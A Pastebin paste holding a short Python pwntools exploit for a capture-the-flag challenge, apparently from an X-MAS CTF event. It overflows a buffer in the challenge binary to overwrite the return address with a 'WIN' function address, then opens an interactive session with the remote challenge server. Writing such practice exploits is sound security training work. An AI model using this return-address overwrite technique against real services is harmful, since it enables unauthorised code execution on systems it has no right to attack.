SHARE
TWEET

Untitled

a guest Dec 14th, 2019 128 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #! /usr/bin/env python2.7
  2.  
  3. from pwn import *
  4.  
  5. binary = "./chall"
  6.  
  7. e = ELF(binary)
  8. context.update(arch='amd64', os='linux')
  9. context.log_level='debug'
  10.  
  11. #Address
  12. WIN = 0x0000000000401156
  13.  
  14.  
  15. if __name__ == "__main__":
  16.     conn = connect("challs.xmas.htsp.ro", 12006)
  17.     #conn = process(binary)
  18.    
  19.     conn.recvuntil("Helloooooo, do you like to build snowmen?\n")
  20.     pause()
  21.     #gdb.attach(conn, gdbscript=gdbscript)
  22.     #gdb.attach(conn)
  23.  
  24.     pattern0 = cyclic(15)
  25.     payload = "yes" + "A"*15 + p64(WIN) + "D" * 68
  26.  
  27.     conn.sendline(payload)
  28.    
  29.  
  30.     conn.interactive()
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top